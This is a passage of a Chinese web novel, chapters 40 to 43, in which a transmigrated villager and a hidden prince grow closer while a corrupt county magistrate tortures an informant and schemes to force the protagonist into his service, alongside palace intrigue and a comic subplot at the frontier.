宋有音眼皮突突跳了两下,她笑道,“林芸这名字真好听,我要是见过就忘不了,可惜了,我不识得。” 家丁覆上腰间的大刀威胁道,“真不识得?要是敢说假话,你知道下场。” 宋有音赔罪道,“不识。” “蠢妇。”董县令冷哼一声,扭身要走,家丁连连围住,给人开路。 临走之际,他回头瞥了一眼季秧,摸了摸下巴,“这小丫头有意思。” 人走后,宋有音关了茶坊,季秧跌坐桌前,被那道目光恶心的冒虚汗。 “小芸,人走了。”宋有音确认关严实了,朝后厨道,“宋北,你们出来吧。” 小芸?那县令说的李芸?季秧回神,看到宋北搀扶着李娘子,一细想恍然大悟。 她不知晓李娘子的名讳,原来李娘子本名正是李芸。 宋有音抱住发抖的李芸,“小芸,都过去了。” 宋北也干巴巴的安慰,“是啊,李姐姐,你别怕他。” “我才不怕他。”李芸紧攥着点茶用的茶碾,恨恨道,“要不是宋北拦我,我早把他脸撕烂了。” 她说完,又后怕道,“不成,他找到这来了,我不能拖累你们,他还会再找来,今夜我就走。” 宋有音气道,“走,你往哪走?” “天南海北。”李芸放下茶碾,“总有容身之处。” 季秧弱弱道,“也许,可以先去我家躲躲。” 董县令走出两条街,越想越不对劲,宋有音的语气飘忽,很难不有鬼。 他正要下令回去,一个家丁附耳说了什么,董县令眸光一亮,“快回府。” 还真是天上天上赏饭,运气挡都挡不住。 季铮和陆观潮说好要去播种,一打开门,就看到门口的两人。 季铮眨了眨眼,“这是?” “阿兄。”季秧道,“我稍后和你解释,能不能让李娘子在我们家住几天。” 李娘子披着斗笠,低声道,“多谢公子,不行也没关系。” 季铮一脸懵,“行,行啊,你们要干什么?” 陆观潮抽了抽嘴角,心道,要不干脆走哪把季铮带到哪吧,尽会揽事,也不怕惹祸上身。 他一把把季铮拉到怀里,“有什么事,不妨先说清楚。” 40. 第 40 章 “咯咯哒,咯咯哒……” 季铮几乎是绝望的看着再一次飞出圈外的两只鸡。 沈弎果然耿直,送来的鸡说好听是活泼,说难听是实在折磨人,几次三番的飞出鸡圈,逼得季铮将鸡圈高度一加再加,闲云野鹤,一天两个蛋的生活还没开始就结束了。 季铮只觉养鸡好难,尤其是养已经长大的野鸡。 他没记得养鸡没这么难,从前无论是鸡是猪,都能养的膘肥体壮,怎么一到这了,却无从下手了。 难不成是陆观潮一直在帮忙,导致他生疏了? 季铮不寒而栗,惊觉自己不能再懒惰下去了,既然决定去幽州,必然要拿出点真本事,天天装傻充愣让人笑话。 就比如让李芸住进来这件事就很不妥,怨不得陆观潮说他,他本也因一时莽撞而后悔,不过在听到李芸自述身世后,灵光一闪,倒也并非坏事。 董县令在位不仁,民间苦其良多,若他借董县令一臂之力,来日之事,便不必耽误陆观潮了。 这样想着,连鸡不知天高地厚的啄食地上的麦子都不可恶了。 不对是麦子! 季铮连忙起身驱逐,被陆观潮抢先一步。 男人动作干净利落,一手一只拎着塞进鸡圈,连背的箩筐都没来及摘下。 季铮松了一口气,又缩了回去,招呼陆观潮过来坐。 “怎么样?”陆观潮坐下,抖了抖衣服上的灰,转眼见季铮复杂的表情,奇怪问,“被鸡咬了?” 季铮摇摇头,“这倒不至于,被踹两脚够我受的了,对了,我想问问你怎么样了。” 陆观潮把剩的麦种给他看,“一半了,差不多下午就弄完了,你要一起去吗?” 为了防止被看出端倪,有云茶坊还正常开业,季秧和李芸这时不在,他打算节省时间,修缮修缮鸡圈,才让陆观潮一个人去播种。 季铮想问的不止是这个,他问,“赵年走了也有一阵子了,你的计划是什么。” 快要十月的天,依然是热,但空气里泛起凉意,不难熬。 陆观潮无端有些紧张,他承认骨子里带着自负,鲜少将计划全盘托出,连赵年都是听令行事,或许在他心里只有自己可信。 镇南王劝他适当信任下属他也没放在心上,毕竟能力够强,还需他人做什么? 另一方面,他无法做到对季铮知而不言。 最终,陆观潮沉默片刻,还是妥协了,“有些长,我说慢些。” 怕是只有朝中重臣才知晓一二,帝王体弱,自即位起明着是帝王不假,实则大大小小的事务都要经孙太后过目,朝中外戚丞相孙大人为首。 逝去的皇子说孙太后没有掺和怎么可能,这么多年,陆泽对孙太后积怨不浅。 陆观潮在大都的眼线,正是颇受陆泽信任的贴身侍卫赵德,与福寿禄的地位不相上下,陆泽有事也会与他们商议。 这段时间,传来的书信上频频出现一句话。 “清君侧。” 母子情深,终究在深宫里耗到头了,陆泽要对孙太后下手了。 季铮啧啧称奇,“孩子要害亲娘,皇权害人啊。” “孙太后要害他在先,此举并无不妥。”陆观潮平静道,“若是我,不会这么优柔寡断,但凡叛者,早该动手除去。” 季铮一懵,这算什么,互相伤害吗? 陆观潮道,“陛下出生时身子康健,是孙太后一口一口毒奶生生喂病的。” 直到奶嬷嬷的儿子告御状才被人知晓,嬷嬷日夜吃毒药,还乡后没几日就死了。 无奈孙家势重,状子还没递出乡就扣下了,知道的人能杀的都杀干净了,陆泽那边自然也被瞒下。 还是陆观潮后来带兵过路,经过此地,招待的宴席上遇当年被抢功而逃过一劫的小捕快,喝醉酒口无遮拦,叫他掌握这一个惊天秘辛。 为了让陆泽秘密知道这件事,陆观潮可费了不少功夫。 陆观潮接着道,“我在等陛下真下手那天,届时朝中孙丞相一党受重创,陛下忙着提拔新人,无暇顾及我,便可以借口幽州军情脱身。” “等一等。”季铮反问,“为何不干脆回幽州,一定要绕大都一趟吗?” 陆观潮顿了顿,“我谋逆之心表现的很明显吗?” 季铮讪讪一笑,也是,陆观潮身份卡在这里,贸然回幽州,恐更遭陛下忌惮,一时能躲一世不能躲,光明正大的回去,最起码不会让本就不堪的名声愈发雪上加霜。 “更何况。”陆观潮道,“虎符的事,我得给个解释。” 寻回尸身却没找到虎符,陆泽忍忍就罢,眼中钉去除,不过虎符而已,各大臣见证下从新铸造一个新的就成。 可真虎符莫名出现在镇南王手里该如何解释,虎符在,那陆观潮呢,在不在? 陆泽如今是不知情,倘若知情了,不得吓得旧病复发。 他密谋着暗害太后的大戏,无暇顾及其他,再对幽州疏于管理,这时也该知道了。 “陛下。”福寿禄满脸愁容,弓着腰进殿,支支吾吾的不敢言语。 陆泽瞥了一眼他,才入秋,他便把大氅披上了,气色还算红润,那也盖不住皮相下隐隐约约的颓败之气。 “说吧。”陆泽开口,一口气顶上来呛得咳嗽,他这身病骨,天一凉就会发病,虽说早已习惯了,但难免怨怼。 福寿禄又是递茶又是送帕子的忙活一阵,看陆泽缓过来后,才踌躇着道,“幽州又上报了。” 陆泽登基后多少也反抗过,边关暗报不过太后眼,由福寿禄直接呈上,就是其中一项。 陆泽眉头微皱,不耐烦道,“朕知晓了,眼下还有更要紧的事,让他们再撑一撑。” 辽军几次三番进攻幽州,这些事陆泽都知道,越是这样,陆泽越不能管束,他不怕国局大乱,恰恰相反,他盼的就是国局大乱,只要一乱,孙家注意力转移,便可以浑水摸鱼,趁其不备一举拿下。 可福寿禄下一句话,叫陆泽方寸大乱。 “陛下,虎符现于幽州,镇南王手持虎符,率军北上,大胜辽军,喜讯已经传开,折子不日便到。” 陆泽眼皮剧烈跳动,“你说,虎符还在?” 福寿禄苦着脸,“正是。” 虎符还在,那么陆观潮还在不在? 难道陆 观潮被钦天监的人说准,真是煞星命格,专门克他来的,竟起死回生? 陆泽摇摇头,不可能,一定不可能,尸身是他亲眼看着埋下的,为了坐实珏王不详,还特意挑了个雷雨天冒称珏王招来的。 或许是镇南王私自昧下呢?那叶萧禾年轻的时候就是人精,先皇制衡了一辈子也没扳倒,最后想出来用皇子收兵权的蠢法子,老了为自己打算也正常。 现下不用顾及陆观潮这个威胁,可以全心倒孙家,陆观潮要是还活着,他分身乏力,便再难找到机会了。 他赌,赌陆观潮死是真的。 季铮猜错了,隐藏任务不是播种,这是他坐在播完种施过肥的地上,和系统博弈后得出了结果。 陆观潮看着季铮的表情晴转多云,不解问,“怎么了吗?” “无他。”季铮叹道,“对自己的智商有些怀疑而已。” 陆观潮以为他在想李芸的事,“我想了想,你帮李芸此举不至于这般。” 他咳嗽一声,“我可以为你造势,来日说爱民如子不为过。” 季铮笑了,打趣道,“你的名声给我造势,负作用吧。” “我是不行,但有人行。”陆观潮眼神闪烁,“我师镇南王结友无数,隐士文豪都有联系,你尽可挑选。” 嚯!还是个关系户。 季铮更乐了,“想不到堂堂珏王殿下,风清朗月的主帅,也会出此下策。” 陆观潮乍然被夸了一句,别扭道,“大周官员多是托关系入仕,一介白丁,无人托举,步履维艰,运气好的猴年马月捡个别人不要的闲职,运气不好,再有能力也是白搭,早早被赶出官场实属常事。” “再者。”陆观潮垂下头去,“你又怎知我是怎样的为人,敢笃定我没干过这些事。” 陆观潮唾弃自恃清高的官员,做了什么事绝不否认,战场上为了赢,什么恶毒的损招他都用过,卑鄙无耻,下流阴狠,他干的多了,实在配不上这一句“风清朗月”。 托关系走后门,在他杀人放火面前不值一提。 从大周科举难有成就一点上,季铮早有预料会有垄断情况,却没想到这般严重,原身也是呆,只读书,别的都不管,真死脑筋的读下去,最大可能是蹉跎一生。 听陆观潮的意思,看来是做过很多次了,他不禁想,什么样的人竟遭陆观潮这怪脾气的青眼。 季铮心惊,很想做些什么,可惜身份在这,如今做不了什么,只得在心底劝自己历史必然。 他道,“再说吧,不到万不得已的地步,我还是想靠自己更稳妥。” 陆观潮飞快的瞧他一眼,心有不满,“放着捷径不走,天底下只有你一个傻子了。” 季铮笑道,“好久没听到你骂我了,还挺亲切。” 他刚捡到陆观潮时,这厮脾气大得很,动不动就摆脸子,嘲讽的话也说了不少。 季铮回想起那会,再看看现在陆观潮勉强算“欲拒还迎”的表情,真是可爱极了。 他眨眨眼,“别想太多,做好自己的事,守住本心才是捷径。” 这话说的轻巧,陆观潮听罢,心道,若没有本心,又该如何。 41. 第 41 章 很难相信,一个为大周出生入死的将军,会没有志向。 不论身份,单论一个人,活在世上怎么能没有志向。 季铮以往受到的教育一直是这样,你要先有目标,然后再争气,还没动手,就得立下结局奖励,不然一路上遇到磨难,没个盼头,怎么走下去? 所以在听到陆观潮说他从没思考过本心时,季铮愣了好一会,既如此,那陆观潮冒着生民危险上战场杀敌,费尽心血回幽州的目的是什么呢,又是靠着什么走到现在? 陆观潮自嘲道,“我就像老天的提线木偶一般,不知自己真正想干的事是什么,冷宫时盼着活下来,活下来就好,遇到镇南候后,他立志平定疆域,我便跟着他立志,时至今日,我都没想明白,我做的一起到底是为了谁。” 季铮不知怎么劝他,他遇到过很多这种场面,身为同龄人里难得老成的一个,处理起来向来是得心应手,可面对陆观潮却不知说什么了,在心底编排好的语句就是说不出口。 是什么原因,季铮不清楚,他只是不想用那些空话糊弄陆观潮。 憋了半天,季铮憋出一句,“没关系,想不出来就不想了,为了谁都无所谓,总有一天能明白。” 陆观潮乐了,“你会不会说话。” “自然会。”季铮苦恼道,“可对你说不出那些假话。” 这话一出,季铮当即反应过来不对,这也太直白了点,和我喜欢你,你最特别无甚差别啊。 他转头陆观潮的反应,意料之外,陆观潮十分平静,甚至还冲他笑了笑,显然是没放在心上。 季铮又觉得闷闷不乐了,他最后在脑里质问了一遍系统,“确定没有奖励,也不肯透露?” 系统消息框划过一串欠扁的颜文字,随后跟着一句:【没有哦亲亲~】 可恶啊! 季铮欲哭无泪,起身拍了拍衣摆,伸了个懒腰道,“天不早了,我们回去吧。” 夕阳西下,田里零零散散的有归家农人,季铮正巧和赵大爷碰上,便一起回去。 经曲辕犁一事,后又和陈昇低价改辕犁,季铮在村里本就家喻户晓的名声如今愈发响亮,一路上有不少打招呼的。 赵大爷见季铮受欢迎,面上的笑意只多不少,忽的他想起什么,笑脸一变。 “小季啊,我看你日日忙碌,这件事大抵没听说。” 还有他混迹情报站没听说的事? 季铮好奇问,“何事?” 跟在两人身后的陆观潮被树下投下的夕阳晃到眼,没分心去听前面的声音。 秋日的日头毫无夏日那般暖意,有些萧瑟感,已有枯黄的树叶飘落,踩上去咯吱咯吱响,配上农人喜形于色的表情,很舒服。 哦,陆观潮恍然,这就是张佴念叨过的惬意日子? 确实恨惬意。 他无端想起,田间阳光洒到季铮脸上的模样,自然也想到季铮说的话,他记性好,每一句每一个字都记得,偶尔翻出来嚼一嚼,别有一番乐趣。 骤然,他脚下步子顿了一下,脑中嗡嗡作响,后知后觉发现季铮有一句话好像很不同凡响。 “对你说不出假话。” 陆观潮反复咀嚼这句话,试图借此肯定自己大胆的猜想。 他在脑海里临摹出季铮那时的神情,睫毛轻颤,没什么特别的神色,很认真。 不是假话,季铮这人,偶尔孟浪,时常正经,此刻没有嬉皮笑脸,陆观潮自认为看人准,他笃定就是发自内心的。 陆观潮想明白后,兴致勃勃的盯住季铮的背影,炽热的目光仿佛要瞪出一个窟窿来,心中涌起滔天酸爽。 季铮什么意思。 季铮说这话到底要表达什么。 他对我说不出假话,对别人可以,是他陆观潮特殊的意思吗? 陆观潮眼皮狠很一跳,不断在心里盘问自己,每盘问一遍就离答案近一点。 最终破土而出,陆观潮不得不承认,或许季铮和他是一样的,至少,他在季铮那里是格外重要的身份。 陆观潮傻子似的的低低笑了两声,克制不住的疾步追上季铮,一把抓住人的手腕。 季铮正听咋赵大爷絮絮叨叨,被突如其来动作吓了一跳,他惊呼一声,扭头看到是陆观潮,气道,“你干嘛,一惊一乍的。” 就见陆观潮绽开一个笑,前所未有的笑,笑得灿烂,眼底的冷意尽数融化,宛如暖液流经他的四肢百骸。 季铮吞了吞唾沫,暗道真好看。 实在不妙,陆观潮长相俊朗,冷着脸还能驱逐人敬而远之,倘若没了这层保护膜,得有多少人前仆后继为之一笑啊? 不说别人,季铮是受不了这幅皮肉,放到现代会把一生积蓄用来打call的程度。 陆观潮没说话,只是笑,可他那双眼仿佛会说话,毒蛇一般钻入季铮心里,季铮险些被毒倒。 两人无言对视片刻,季铮从陆观潮眼神中抽出神,他尴尬的轻咳一声,移开眼,装若无事继续和赵大爷说话,“您继续说。” 赵大爷没注意他们的动静,嘴上就没停,季铮这一句多此一举了。 陆观潮瞧见季铮耳尖一抹可疑的红晕,心道自己火眼金睛,果然猜准了,不由喜滋滋的,整颗心侵进蜜糖里,久久缓不过来。 直到冲动劲过去,陆观潮才惊觉自己的不妥,大庭广众之下,他拉季铮的手,有失礼仪。 想着,他依依不舍的放下,还没开始惆怅,手掌传来温度,季铮重新牵起他的手,安抚性的搓了搓。 陆观潮眼睛睁得溜圆,才压下的激动又冲上心头。 季铮好不要脸。 他好喜欢。 于是陆观潮又心安理得的牵着了。 这边,赵大爷唠叨够了,他原本在讲年轻时的英勇往事,什么带人打土匪云云,季铮和老人说话很有一套,引得人多说了几句,这会总算说到正事。 赵大爷道,“你还记得隔壁刘村那刘村长吗?” 一个瘦削的老头,季铮将辕犁图纸贱卖给他,还遭陆观潮一顿数落。 “记得。”季铮又问,“他怎么了?” 赵大爷犹犹豫豫道,“他见我们家家户户都用上辕犁,价格还比他们自己做 的便宜,心里下不去,我那边认识的人私下给我说,那姓刘的还敢说,说——” 他恨恨一跺脚,“说你当面一套背后一套,收了钱坑害他们。” 庄稼人没学过礼义廉耻,原话骂的更脏,赵大爷不好意思说给季铮听罢了。 季铮眉头一缩,“他们真这么说的?” 这火气来的太冤枉,季铮给他们的,那可是完整版,按理来说更高效,有过之而不及,区别并不大,刘村长既然不满,为何不找他来,反而背后嚼舌根。 他们该去问问他卖给宋有音的制冰方子要了多少钱,两厢对比,就能看有多实惠了。 气过之后,季铮想起刘村长颤颤巍巍杵着拐杖的模样,顿时什么气都使不出了。 他默默叹了口气,自己劝自己道,难免的事,不过是被说几句,又没掉一块肉,不妨事。 倒是陆观潮面色有异,季铮感受到手上力道加大,歪头看他,对口型道,“没事。” 陆观潮不赞同的撇撇嘴,却也没说什么,暗暗把这人记到心里。 “这么说不假。”赵大爷思索一会,道,“不过这几日安生了,许是你没理他自讨没趣。” 要说刘村长一直说下去,季铮还不觉不妥,但说着说着闭了嘴,他隐隐觉得不会这么简单。 “老爷。”小厮狗腿的迎上去,笑得见牙不见眼,“您要喝西湖龙井还是大红袍?” 书房,男人极不雅观的卡在太师椅上,要没有前面的桌案挡着,怕是叫人看一眼,吃的饭都要喷出来。 董县令捏着一撮小胡子,临摹一幅夜宴图,他画工上乘,一幅画有模有样,小厮见此,又是一顿拍马屁,直夸的董县令喜笑颜开。 “狗奴才。”董县令笑骂,“今日心情好,取太平猴魁来。” 小厮吩咐下去,说起正事,“老爷,前段时间来献策的老头一顿吃了两只鸡,要不把他赶走算了,白白养在府里……” 他做了个扇鼻子的动作,“奴才都觉得熏鼻子。” 董县令呸了他一口,“你懂什么,这死老头拿出来的物件是个好玩意,弄好了,我交到大都上,荣华富贵少不了我的,留着他有大用” 小厮见风使舵,殷勤道,“老爷威武,老爷大智,是奴才愚笨,该打该打。” 董县令邪邪一笑,“他只满口叫骂,不肯说是谁做的,我就不信,他能在肚子里藏一辈子?” “老爷的意思是?” “做出这物件的人,绝不是简单人物。”董县令道,“我得亲自回一回,以免来日被他抓住辫子反将一军,出了岔子可不好了,早些处理干净了为好。” 小厮恍然,“老爷是想抓住这真人为己所用。” “不至于”董县令道,“一个下九流,不够格,我要的,是斩草除根。” 他画下最后一笔,起身道,“走吧,那老头好日子也过够了,该开口了。” “唉!”小厮忙去扶,“老爷,茶……” 董县令啧声,“大事当前,还喝茶?!” 小厮又连声赔罪,终是逃过一劫,就是可怜了那好茶。 42. 第 42 章 “刘氏。” 房门打开一条缝隙,屋外小厮冷冷扫进来一眼,姿态傲慢非常。 两面三刀被刘帆玩得出神入化,自诩是村长之位,高人一等,面对小厮心里骂骂咧咧,表面上还是因为董县令的身份恭恭敬敬。 刘帆忙从榻上起身,点头哈腰迎到门口,“诶,我在。” 小厮退后一步,又道,“我们家老爷要找,请来吧,可先说好了,到那了别怪我没提醒你,注意你自个的身份,若在老爷面前该说的扭扭捏捏,没人保得住你。” 刘帆打了个哆嗦,莫名后背发寒,嗫嚅了两句自然。 董县令圆滑,倒没真看人下菜碟,正经的让人打扫了会客厅见人,甚至奉为主坐,自己退居次坐,礼数周到,诚意慢慢。 本以为会识相点,最多那些钱走人,没承想刘帆这颗心可不是一般黑。 先前还因小厮的话胆怯一二,被董县令这么一“伺候”,顿时抛到九霄云外,认为自己是个人物,贪得无厌了。 董县令问此物谁告诉他的,狮子大开口,张口就要给自己儿子搞个官当当再说。 董县令咬牙应了,“好说,在我府里寻个闲职还不简单。” 不料没喂饱这厮,刘帆眼睛一转,又要白银百两,美妾豪宅,仆役数人。 再好脾气的人都经不住他这样出尔反尔,更何况董县令这个阴险狡诈之徒。 董县令当场翻脸,也不管律法,也不生公堂,直接动用私刑,就地派小厮给刘帆一顿毒打,什么儿子当官,钱财美梦,通通没了,这还不止,小命都难说保住。 他横行霸道惯了,少不了仰仗,能攀上珏王殿下的人必然不简单,据说他在本地和土匪有牵连,他替土匪遮掩,土匪给他收拾脏活。 因而下手没轻没重,打死了也没关系,有人替他顶上平事。 刘帆毕竟年纪大了,经不住刑罚,叫苦连天,也是怕了,不敢再扯皮子,没几下就把季铮招了出来。 “季铮,还是个生员。”董县令眯着眼睛想了会,“怎么这么耳熟。” 一旁眼尖的小厮道,“老爷您贵人多忘事,咱们朝考中了都要上报了,这季生员五年前考中,您还见过他,免了他的徭役,和其家眷的人头费。” 董县令这才有零星记忆,冷哼一声,“那就去看看,这人识不识相。” 刘帆疼得还在呻吟,董县令被吵得烦心,吩咐人给个医药费,找个地方丢了了事。 自从那日后,陆观潮仿佛吃了定心丸,先前季铮一去陈昇那就一幅咬牙切齿,恨不得生吞活剥了季铮的模样,如今虽说仍是不满,起码不再紧紧跟着了。 比如今日,季铮说要去一趟,陆观潮只闷闷嗯了一声,没说别的。 着实可爱,着实省心。 早知如此,季铮应该想通,左右不过是两个大男人,拉拉手有什么的。 从前总抗拒,觉得奇怪,就像幼儿园小朋友手拉手回家一样,未免有些幼稚了,开窍后才懂其中的划算,丢个面子就能让陆观潮乖巧,这买卖太值了。 至于牵上后为什么没有丢脸感觉,反而格外爽快,季铮不明白。 或许是他和陆观潮的关系已经好到不在乎了吧! 季铮这样想,也就不疑惑了。 到陈昇家时,进门就见陈昇眼圈红红,一幅泫然欲泣的模样,这话不确切,看样子这人已经哭过一场了。 “季铮哥,”陈昇嘴一咧又要哭,“你,啊哇哇,你来了啊,啊啊。” 哭的实在难听,简直是摧残,季铮不厚道捂住耳朵,奇怪道,“怎么了,好端端的哭什么,前几天不还喜滋滋的,你不说是你阿姐要回来了,人呢。” 不提还好,一提陈昇哭的更凶了,魔音入耳,季铮这下捂耳也没用了,干脆放手去拦陈昇。 他本想堵住陈昇的嘴,让他先安静下来,后来怕眼泪鼻涕糊一手,双手在空中比划两下始终没下去手,好在陈昇一门心思痛哭没发现。 “啊啊啊。”陈昇断断续续道,“我阿姐说,说主家小姐要出嫁了。” 季铮眉毛一挑,“好事啊,你现在不缺钱了,正好让你阿姐回来在家里歇一段时间。” 陈昇哭得更凶了,“我也是这么想的,只是,只是……” “只是什么?” 陈昇一吸鼻涕,“阿姐说他要一起去啊呜呜呜——” 季铮问,“这怎么了,最多不就换个镇嘛。” 陈昇泪眼汪汪补充道,“要去冀州啊,这几天就走,时间太急,不回家一趟了。” 季铮没话说了,这的确值得哭一哭,他拍了拍陈昇肩膀,劝道,“多写信,时机成熟了你也搬去冀州不就成了?” 陈昇却摇了摇头,“我不能走,我走了,村里的活就没人做了,答应哥的事还没做完。” 真是个善良的孩子,季铮感动的险些也要应景的哭一顿。 今日看陈昇的状态,是说不了正事了,季铮有做不到直接离开,安慰了几句,直到他状态好些才告辞。 时间耽误的久了,怕陆观潮生气,季铮匆匆往家里赶。 不料到家没见陆观潮的人,却见一群人站在自家院子里。 所幸是正午,这个点都在吃饭,没引来围观。 为首的人衣着华丽,非富即贵,身后几人大概是小厮仆役,季铮凝眉不解,他什么时候招惹了这几人,该不会是找错地方吧。 “劳驾。”季铮挂起一个温和的笑,上前询问,“找人?” 小厮打扮的人回头,看见来人愣了一愣,没料想这地方还有如此俊俏的郎君,他咳了咳,一昂下巴,“我们老爷寻一个叫季铮的,你可认识。” 还真就是找自己的。 季铮道,“不才,正是在下,你们老爷是?” 董县令上下打量了季铮一遍,模样说不上多漂亮,但胜在白净耐看,不是他印象中的瘦弱,眉眼温柔,身材匀称,气派不凡,一眼就能看出是个学富五车的学士,又不乏硬朗之气,长相很唬人。 他有些诧异,“你就是季铮?” 季铮点头,董县令便自报家门,又道,“据说你造出个不得了的物件。” “原来是董县令。”季铮凭原身肢体记忆行了个标准的礼,“不知你说的是什么。” 董县令见他不卑躬屈膝,也没有自诩风骨,反而大方得体,不自觉高看了一眼,不曾想这穷乡僻壤还有这等秒人,当即想拉入麾下的心 更烈。 他道,“便是你给刘村刘帆的那件辕犁。” 乍一听刘帆这个名字,季铮还没反应过来,思索片刻才恍然是刘村村长,怪不得不说自己坏话了,原来去别借花献佛了。 他听季秧讲过,李芸早年在青楼里做歌姬,和这位县令有些瓜葛。 牵扯到钱财情爱,错综发杂,季铮只知道李芸好不容易逃走却难逃董县令一直抓捕,自然而然,季铮认出是他后就没什么好感。 他“啊”了一声,依旧带着笑,“县令大人这么说,想来是已经从刘帆手里拿到东西了,又何必来找我。” 董县令眉头一皱,是个不识数的,不对,更有可能是听出来弦外之音。 也是,文人多风骨,季铮表面再平和也未免例外,他忍住脾气,又道,“自然是想聘请先生到府上。” 季铮微微点头,问,“做幕僚?” “正是。”董县令补充道,“做我府上幕僚,好处可少不了。” 身后的小厮用自己膀大腰圆的身材证明了一点。 季铮一阵恶寒,他才练出来的肌肉,还不想这么快胖成球。 董县令捕捉到他一闪而过的不喜,继续道,“怎么,季生员何故犹豫。” 季铮笑了笑,“不敢,大人相邀,本不该推辞,可我家中还有弟妹,总要安顿一番,不若大人等我一等,待我准备好,再给你回复。” 他说的着实认真,董县令虽狐疑,但对着这么一张极具信服力的脸,怀疑也就荡然无存了。 “我给你三日。”董县令一挥衣袖,转身带着众人浩浩荡荡的走了。 季铮看着小厮艰难抬着他圆滚滚的身子,默默叹了一口气,不知该心疼小厮还是心疼自个。 这可怎么办,看董县令的语气,是不得不拿下自己了,季铮心道,这次可以耍耍嘴皮子躲过去,下次就不这么简单了。 他还没想完,陆观潮回来了,季铮见他心情不错,问,“发生什么了,这么高兴。” 陆观潮凑过去,给他看赵年的信件,“他到幽州了,幽州大胜,镇南候的伤也医治了,说是没有大碍。” 季铮看完,因董县令而烦躁的脑子得到片刻喜悦,“如此就好,如此就好。” “不止。”陆观潮取出另一封,“大都的消息,太后病重,陆泽动手了,下一步就是将太后幽居建章宫,处置孙家夺权了。” 季铮喜完,又有些落寞,“你要走了吧。” 陆观潮一顿,握着信件的手抖了一下,他闷声道,“嗯……” 他想好了,待到回大都,传信幽州,让镇南候请辞,假借幽州战起顺利离开,去幽州的路上带上季铮。 这样算下来,他和季铮分开的日子不过一月有余。 一个月不长,最难的时候,一场战役停停续续便要这么久,他只睡两个时辰尚且能保持清醒。 可一想到一个月见不到季铮,还没等分开,就忍不住难过,一个心仿佛死掉了一样,舍不得跳动。 哪怕一天他都受不了,一个月,该怎么熬。 他眨眨眼,再看季铮时眼中带雾,“你会想我吧。” 他又想,如果季铮也想他,或许就不那么难受了。 43. 第 43 章 季铮迟疑片刻,末了道,“自然。” 毕竟力气这么大还听话的人可不好找。 三日后,董县令没等到季铮人来,只得到一封信,信中道借口家中事务繁多,家妹还未出嫁,如今未考虑离家。 小厮战战兢兢的念出信,实话实说,他这封信言辞真诚,态度恭敬,挑不出毛病。 无奈董县令是谁,一朝得势后要风得风要雨得雨的脾气,此生最不喜的事莫过于有人敢拒绝他,可怜了桌上才画好的一幅兰花,被董县令一怒之下掀翻的墨汁浇透。 小厮吓得跪地,大气不敢喘。 董县令阴恻恻的笑道,“好一个事务繁多,他能有什么事,说到底不过死一个白丁,还敢给我拿乔。” 小厮立即奉承,“是是是,这人也忒不识好歹了,按奴才说,老爷就该好好罚他。” 董县令心下这是如此想,可季铮有生员这层身份,要不是季铮还敬他县令位子,按理说连行礼都免了,更别提动刑,新上任的节度使是个硬骨头,他今日动刑,怕不是明日处决书就下来了。 得换个法子让季铮乖乖听话,董县令眼珠子一转,灵光一闪,夺过信又看了一眼,有了对策。 小厮见董县令笑起来,不明所以,挠了挠脑袋,问,“老爷有办法了?” 董县令捏着胡子,“他有个妹妹,去找一找。” 幽州。 张佴人逢喜事精神爽,特意换了一件新衣裳,将房里用来招魂的法器收拾好一口气烧了个干净。 顾宜告诉他殿下没事时他还不信,自他卜卦起,卦象所指无一不应验,卦象阴阳陌路,殿下再怎么走运也不肯捡回一条命。 张佴气得大骂顾宜居然厌恶他到这种地步,连招魂都不让办,甚至揣测顾宜不愿殿下复活,乃反君之心。 他们性子不合,顾宜听了这话自是愤怒,甩袖就走,因而忘了告诉他是镇南候亲自承认。 接下来几天,张佴做出更丧心病狂的事无果,才反应过来顾宜的话好像是真的。 那日两军交战,他不知从哪翻出陆观潮旧衣,穿上爬到城墙,意图陆观潮在天之灵,在地之躯看到他如此虔诚,上身显灵。 那场面,顾宜现在回忆起来都犯怵,周围全是喊打喊杀声,鲜血刀剑可不管这哪,尽数往人身上招呼,他一抬头,就见张佴双臂伸直,大喊“殿下驾到!尔等速速退开!!” 语气恳切,音调之高,引得一众人都看去。 连顾宜都愣了愣,真以为殿下这么早回来了,再一细看,是张佴这个疯子。 下一瞬,敌军箭雨朝他袭去,还是镇南候眼疾手快,一把把他抓下来,怒骂,“你他娘给人家当靶子玩呢!” 然后是张佴的痛哭声,“啊啊啊啊,殿下啊,您为何还不肯回来啊!” 因祸得福,他来这一遭,吸引了敌军的注意力,镇南候找到破绽,射杀辽军副统领,敌军落荒而逃。 事后,镇南候气他不顾自身安危,罚了他禁闭,庆功宴都不许参加。 张佴便窝在帐内反思,殿下衣冠墓不满意,招魂幡不满意,他献祭不满意,想在战场上刺激刺激也未得逞,这是怎么回事。 随后他又卜了一卦,这下呆了。 ——地天泰,二爻与五爻皆动,化火天大有。 殿下这日子过得不错啊,该不会是在地下乐不思蜀了? 张佴又想起顾宜那番话,恍然明了,殿下还真没事,非但没事,还很滋润。 他一连起了几卦都是如此,彻底放心,激动的在营帐里大喊大叫,一度让送饭的顾宜认为他疯掉了。 再然后就有烧法器这一出了。 顾宜大喜过望,“你终于把这玩意烧了。” 说罢,还不解气,也填了一把火。 张佴屁颠屁颠的迎上去,笑道,“不好意思了,我冤枉你了,这几日我起卦,次次是殿下一切顺利才敢信。” 顾宜还没高兴一会,又听他说这些东西,嘴角一抽就要溜。 身后,张佴追上去,边追边兴致勃勃的讲自己新想出的计谋。 “别走!”张佴道,“你说我们在辽军攻城时倒金汁如何?” “哦太恶心,那在城墙前挖一个大坑,坑里倒上金汁,再铺上干草,兵马一来全掉进去怎么样?” “不要金汁,也成,我们所有人换上殿下的衣裳,来一场夜袭,让他们误以为殿下鬼魂索命。” “不要损害殿下名誉,要说我殿下名誉本来也好不到哪去,再坏一点没区别……” 顾宜跑得更快了。 这边陆观潮打了个喷嚏。 季铮在一边问道,“感冒了?” 入秋后一场雨一层寒,家里的被子对比起来单薄,还好有陆观潮这个人性暖炉,倒也不算冷,就是不知道陆观潮怎么样了。 陆观潮摇摇头,道,“我没事,到时你最近好像瘦了。” 季铮下意识摸了摸自己尚且还安全的腹肌,“你怎么发现的?” “夜里……”陆观潮顿住了,轻咳一声移开视线,没说出口,欲盖弥彰的起身去喂鸡。 野鸡在圈里呆了几天总算是认命了,这些时候安生了不少,最起码不会动不动飞出来追着元元啄了。 季铮不解,“夜里怎么了,我干啥了吗?” 陆观潮不回话,他自己思索半天,忽然知道怎么回事了。 怎么发现的,夜里抱出来呗。 陆观潮还挺细心。 季铮尴尬的哈哈了两声,“或许是秋日食欲不振吧。” 